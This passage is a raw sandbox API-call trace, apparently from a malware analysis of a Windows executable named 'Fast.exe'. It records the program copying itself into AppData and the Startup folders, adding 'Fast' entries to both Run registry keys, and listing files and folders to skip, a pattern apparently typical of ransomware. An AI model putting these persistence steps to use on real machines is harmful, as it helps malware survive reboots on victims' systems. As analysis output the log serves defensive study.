(in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ecf8 | out: hHeap=0x550000) returned 1 [0060.128] GetProcessHeap () returned 0x550000 [0060.128] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56e038, Size=0xf2) returned 0x56e9b8 [0060.128] GetProcessHeap () returned 0x550000 [0060.128] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xf2) returned 0x56b680 [0060.128] GetProcessHeap () returned 0x550000 [0060.128] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56e038 [0060.128] GetProcessHeap () returned 0x550000 [0060.128] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x561790 [0060.128] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x28fc7c | out: phkResult=0x28fc7c*=0xa8) returned 0x0 [0060.129] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x28fc78, lpData=0x56b680, lpcbData=0x28fc80*=0xf2 | out: lpType=0x28fc78*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x28fc80*=0x98) returned 0x0 [0060.129] RegCloseKey (hKey=0xa8) returned 0x0 [0060.129] GetProcessHeap () returned 0x550000 [0060.129] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561790 | out: hHeap=0x550000) returned 1 [0060.129] GetProcessHeap () returned 0x550000 [0060.129] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a378 [0060.129] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x28fc7c | out: phkResult=0x28fc7c*=0xa8) returned 0x0 [0060.130] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x28fc78, lpData=0x56b718, lpcbData=0x28fc80*=0x5a | out: lpType=0x28fc78*=0x0, lpData=0x56b718*=0x0, lpcbData=0x28fc80*=0x5a) returned 0x2 [0060.130] RegCloseKey (hKey=0xa8) returned 0x0 [0060.130] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x28fc90 | out: phkResult=0x28fc90*=0xa8) returned 0x0 [0060.130] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x28fc8c, lpData=0x56b718, lpcbData=0x28fc94*=0x5a | out: lpType=0x28fc8c*=0x2, lpData=0x56b718*=0x0, lpcbData=0x28fc94*=0x78) returned 0xea [0060.130] RegCloseKey (hKey=0xa8) returned 0x0 [0060.131] GetProcessHeap () returned 0x550000 [0060.131] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a378 | out: hHeap=0x550000) returned 1 [0060.131] GetProcessHeap () returned 0x550000 [0060.131] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.131] GetProcessHeap () returned 0x550000 [0060.131] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b680 | out: hHeap=0x550000) returned 1 [0060.131] GetProcessHeap () returned 0x550000 [0060.131] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56e9b8, Size=0x1e2) returned 0x56a6b0 [0060.131] GetProcessHeap () returned 0x550000 [0060.131] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e2) returned 0x56a8a0 [0060.131] GetProcessHeap () returned 0x550000 [0060.131] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56e038 [0060.131] GetProcessHeap () returned 0x550000 [0060.132] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x561790 [0060.132] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x28fc7c | out: phkResult=0x28fc7c*=0xa8) returned 0x0 [0060.132] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x28fc78, lpData=0x56a8a0, lpcbData=0x28fc80*=0x1e2 | out: lpType=0x28fc78*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x28fc80*=0x98) returned 0x0 [0060.132] RegCloseKey (hKey=0xa8) returned 0x0 [0060.132] GetProcessHeap () returned 0x550000 [0060.132] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561790 | out: hHeap=0x550000) returned 1 [0060.132] GetProcessHeap () returned 0x550000 [0060.133] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a378 [0060.133] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x28fc7c | out: phkResult=0x28fc7c*=0xa8) returned 0x0 [0060.133] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x28fc78, lpData=0x56a938, lpcbData=0x28fc80*=0x14a | out: lpType=0x28fc78*=0x0, lpData=0x56a938*=0x7a, lpcbData=0x28fc80*=0x14a) returned 0x2 [0060.133] RegCloseKey (hKey=0xa8) returned 0x0 [0060.133] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x28fc90 | out: phkResult=0x28fc90*=0xa8) returned 0x0 [0060.134] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x28fc8c, lpData=0x56a938, lpcbData=0x28fc94*=0x14a | out: lpType=0x28fc8c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x28fc94*=0x78) returned 0x0 [0060.134] RegCloseKey (hKey=0xa8) returned 0x0 [0060.134] GetProcessHeap () returned 0x550000 [0060.134] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a378 | out: hHeap=0x550000) returned 1 [0060.134] GetProcessHeap () returned 0x550000 [0060.134] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.134] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x56a6b0, nSize=0xf1 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x99 [0060.134] GetProcessHeap () returned 0x550000 [0060.134] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a8a0 | out: hHeap=0x550000) returned 1 [0060.135] GetProcessHeap () returned 0x550000 [0060.135] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0060.135] GetProcessHeap () returned 0x550000 [0060.135] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56a8a0 [0060.135] GetProcessHeap () returned 0x550000 [0060.135] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56f738 [0060.135] GetProcessHeap () returned 0x550000 [0060.135] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56f950 [0060.135] GetProcessHeap () returned 0x550000 [0060.135] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56fb68 [0060.135] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56a8a0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe")) returned 0x2e [0060.135] GetProcessHeap () returned 0x550000 [0060.135] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56fd80 [0060.136] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56fd80, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe")) returned 0x2e [0060.136] GetProcessHeap () returned 0x550000 [0060.136] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56fd80 | out: hHeap=0x550000) returned 1 [0060.136] GetProcessHeap () returned 0x550000 [0060.136] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56fd80 [0060.136] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56fd80, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe")) returned 0x2e [0060.136] GetProcessHeap () returned 0x550000 [0060.136] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56fd80 | out: hHeap=0x550000) returned 1 [0060.136] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\fast.exe"), bFailIfExists=0) returned 1 [0060.154] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x28fd78 | out: phkResult=0x28fd78*=0xfc) returned 0x0 [0060.154] RegSetValueExW (in: hKey=0xfc, lpValueName="Fast", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exe", cbData=0x68 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exe") returned 0x0 [0060.156] RegCloseKey (hKey=0xfc) returned 0x0 [0060.156] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x28fd74 | out: phkResult=0x28fd74*=0xfc) returned 0x0 [0060.157] RegSetValueExW (in: hKey=0xfc, lpValueName="Fast", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exe", cbData=0x68 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exe") returned 0x0 [0060.157] RegCloseKey (hKey=0xfc) returned 0x0 [0060.157] GetProcessHeap () returned 0x550000 [0060.157] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x134) returned 0x56b680 [0060.170] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe"), bFailIfExists=1) returned 0 [0060.173] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe"), bFailIfExists=1) returned 1 [0060.183] GetProcessHeap () returned 0x550000 [0060.183] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b680 | out: hHeap=0x550000) returned 1 [0060.183] GetProcessHeap () returned 0x550000 [0060.184] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a8a0 | out: hHeap=0x550000) returned 1 [0060.184] GetProcessHeap () returned 0x550000 [0060.184] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f738 | out: hHeap=0x550000) returned 1 [0060.184] GetProcessHeap () returned 0x550000 [0060.184] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f950 | out: hHeap=0x550000) returned 1 [0060.184] GetProcessHeap () returned 0x550000 [0060.184] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56fb68 | out: hHeap=0x550000) returned 1 [0060.184] GetProcessHeap () returned 0x550000 [0060.184] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ec18 | out: hHeap=0x550000) returned 1 [0060.184] GetProcessHeap () returned 0x550000 [0060.184] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f880 | out: hHeap=0x550000) returned 1 [0060.184] GetProcessHeap () returned 0x550000 [0060.184] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a6b0 | out: hHeap=0x550000) returned 1 [0060.184] GetProcessHeap () returned 0x550000 [0060.185] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a378 [0060.185] GetProcessHeap () returned 0x550000 [0060.185] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a1e8 [0060.185] GetProcessHeap () returned 0x550000 [0060.185] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a260 [0060.185] GetProcessHeap () returned 0x550000 [0060.185] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56e038 [0060.185] GetProcessHeap () returned 0x550000 [0060.185] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.185] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a1e8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0060.186] GetProcessHeap () returned 0x550000 [0060.186] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a260 | out: hHeap=0x550000) returned 1 [0060.186] GetProcessHeap () returned 0x550000 [0060.186] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a378 | out: hHeap=0x550000) returned 1 [0060.186] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x28fd94, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x28fd94*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0060.186] GetProcessHeap () returned 0x550000 [0060.186] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a1e8 | out: hHeap=0x550000) returned 1 [0060.187] GetProcessHeap () returned 0x550000 [0060.187] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x56b450 [0060.187] GetProcessHeap () returned 0x550000 [0060.187] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561790 [0060.187] GetProcessHeap () returned 0x550000 [0060.187] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x190) returned 0x56a6b0 [0060.187] GetProcessHeap () returned 0x550000 [0060.187] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x60) returned 0x56ec18 [0060.187] GetProcessHeap () returned 0x550000 [0060.187] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x5a) returned 0x56e038 [0060.187] GetProcessHeap () returned 0x550000 [0060.187] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56e038, Size=0xb2) returned 0x56ecf8 [0060.187] GetProcessHeap () returned 0x550000 [0060.187] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x184) returned 0x56a848 [0060.188] GetProcessHeap () returned 0x550000 [0060.188] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561670 [0060.188] GetProcessHeap () returned 0x550000 [0060.188] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56f738 [0060.188] GetProcessHeap () returned 0x550000 [0060.188] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x250) returned 0x56f950 [0060.188] GetProcessHeap () returned 0x550000 [0060.188] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xa0) returned 0x56e038 [0060.188] GetProcessHeap () returned 0x550000 [0060.188] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x98) returned 0x56a9d8 [0060.188] GetProcessHeap () returned 0x550000 [0060.188] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x98) returned 0x56e9b8 [0060.188] GetProcessHeap () returned 0x550000 [0060.207] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56b680 [0060.207] GetProcessHeap () returned 0x550000 [0060.207] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b680 | out: hHeap=0x550000) returned 1 [0060.207] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;jukse.txt", lpDst=0x56a9d8, nSize=0x4c | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;jukse.txt") returned 0x4c [0060.207] GetProcessHeap () returned 0x550000 [0060.207] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e9b8 | out: hHeap=0x550000) returned 1 [0060.207] GetProcessHeap () returned 0x550000 [0060.207] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.207] GetProcessHeap () returned 0x550000 [0060.207] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x70) returned 0x56e038 [0060.207] GetProcessHeap () returned 0x550000 [0060.207] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x62) returned 0x56e9b8 [0060.207] GetProcessHeap () returned 0x550000 [0060.207] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x62) returned 0x56ea28 [0060.207] GetProcessHeap () returned 0x550000 [0060.207] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56b680 [0060.208] GetProcessHeap () returned 0x550000 [0060.208] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b680 | out: hHeap=0x550000) returned 1 [0060.208] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x56e9b8, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0060.208] GetProcessHeap () returned 0x550000 [0060.208] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ea28 | out: hHeap=0x550000) returned 1 [0060.208] GetProcessHeap () returned 0x550000 [0060.208] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56e9b8, Size=0xc2) returned 0x56e9b8 [0060.208] GetProcessHeap () returned 0x550000 [0060.208] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xc2) returned 0x56b680 [0060.208] GetProcessHeap () returned 0x550000 [0060.208] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56fba8 [0060.208] GetProcessHeap () returned 0x550000 [0060.208] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56fba8 | out: hHeap=0x550000) returned 1 [0060.209] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x56e9b8, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0060.209] GetProcessHeap () returned 0x550000 [0060.209] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b680 | out: hHeap=0x550000) returned 1 [0060.209] GetProcessHeap () returned 0x550000 [0060.209] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.209] GetProcessHeap () returned 0x550000 [0060.209] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x5701a0 [0060.209] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5701a0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe")) returned 0x2e [0060.209] GetProcessHeap () returned 0x550000 [0060.209] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5701a0 | out: hHeap=0x550000) returned 1 [0060.209] GetProcessHeap () returned 0x550000 [0060.209] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x24e) returned 0x5701a0 [0060.209] GetProcessHeap () returned 0x550000 [0060.209] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5701a0, Size=0x3cc) returned 0x5701a0 [0060.209] GetProcessHeap () returned 0x550000 [0060.210] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x9a) returned 0x56e038 [0060.210] GetProcessHeap () returned 0x550000 [0060.210] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56e038, Size=0xac) returned 0x56b680 [0060.210] GetProcessHeap () returned 0x550000 [0060.210] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x6a) returned 0x56b738 [0060.210] GetProcessHeap () returned 0x550000 [0060.210] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f738 | out: hHeap=0x550000) returned 1 [0060.210] GetProcessHeap () returned 0x550000 [0060.210] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f950 | out: hHeap=0x550000) returned 1 [0060.210] GetProcessHeap () returned 0x550000 [0060.210] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a9d8 | out: hHeap=0x550000) returned 1 [0060.210] GetProcessHeap () returned 0x550000 [0060.210] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e9b8 | out: hHeap=0x550000) returned 1 [0060.210] GetProcessHeap () returned 0x550000 [0060.210] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561790 | out: hHeap=0x550000) returned 1 [0060.210] GetProcessHeap () returned 0x550000 [0060.211] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a6b0 | out: hHeap=0x550000) returned 1 [0060.211] GetProcessHeap () returned 0x550000 [0060.211] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ec18 | out: hHeap=0x550000) returned 1 [0060.211] GetProcessHeap () returned 0x550000 [0060.211] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a848 | out: hHeap=0x550000) returned 1 [0060.211] GetProcessHeap () returned 0x550000 [0060.211] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a1e8 [0060.211] GetProcessHeap () returned 0x550000 [0060.211] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a378 [0060.211] GetProcessHeap () returned 0x550000 [0060.211] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a260 [0060.211] GetProcessHeap () returned 0x550000 [0060.211] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56e038 [0060.211] GetProcessHeap () returned 0x550000 [0060.211] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.212] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a378, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0060.212] GetProcessHeap () returned 0x550000 [0060.212] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a260 | out: hHeap=0x550000) returned 1 [0060.212] GetProcessHeap () returned 0x550000 [0060.212] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a1e8 | out: hHeap=0x550000) returned 1 [0060.212] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x28fd94, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x28fd94*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0060.212] GetProcessHeap () returned 0x550000 [0060.212] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a378 | out: hHeap=0x550000) returned 1 [0060.212] GetProcessHeap () returned 0x550000 [0060.213] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x56b818 [0060.213] GetProcessHeap () returned 0x550000 [0060.213] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561790 [0060.213] GetProcessHeap () returned 0x550000 [0060.213] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x190) returned 0x56a6b0 [0060.213] GetProcessHeap () returned 0x550000 [0060.213] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x60) returned 0x56ec18 [0060.213] GetProcessHeap () returned 0x550000 [0060.213] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x5a) returned 0x56e038 [0060.213] GetProcessHeap () returned 0x550000 [0060.213] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56e038, Size=0xb2) returned 0x56e9b8 [0060.213] GetProcessHeap () returned 0x550000 [0060.213] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x184) returned 0x56a848 [0060.214] GetProcessHeap () returned 0x550000 [0060.214] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561688 [0060.214] GetProcessHeap () returned 0x550000 [0060.214] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56f738 [0060.214] GetProcessHeap () returned 0x550000 [0060.214] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x250) returned 0x56f950 [0060.214] GetProcessHeap () returned 0x550000 [0060.214] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xa0) returned 0x56e038 [0060.214] GetProcessHeap () returned 0x550000 [0060.214] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x98) returned 0x56a9d8 [0060.214] GetProcessHeap () returned 0x550000 [0060.214] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x98) returned 0x56fba8 [0060.214] GetProcessHeap () returned 0x550000 [0060.215] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56fc48 [0060.215] GetProcessHeap () returned 0x550000 [0060.215] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56fc48 | out: hHeap=0x550000) returned 1 [0060.215] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;jukse.txt", lpDst=0x56a9d8, nSize=0x4c | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;jukse.txt") returned 0x4c [0060.215] GetProcessHeap () returned 0x550000 [0060.215] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56fba8 | out: hHeap=0x550000) returned 1 [0060.215] GetProcessHeap () returned 0x550000 [0060.215] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.215] GetProcessHeap () returned 0x550000 [0060.215] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x70) returned 0x56e038 [0060.215] GetProcessHeap () returned 0x550000 [0060.215] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x62) returned 0x56fba8 [0060.216] GetProcessHeap () returned 0x550000 [0060.216] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x62) returned 0x56fc18 [0060.216] GetProcessHeap () returned 0x550000 [0060.216] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56fc88 [0060.216] 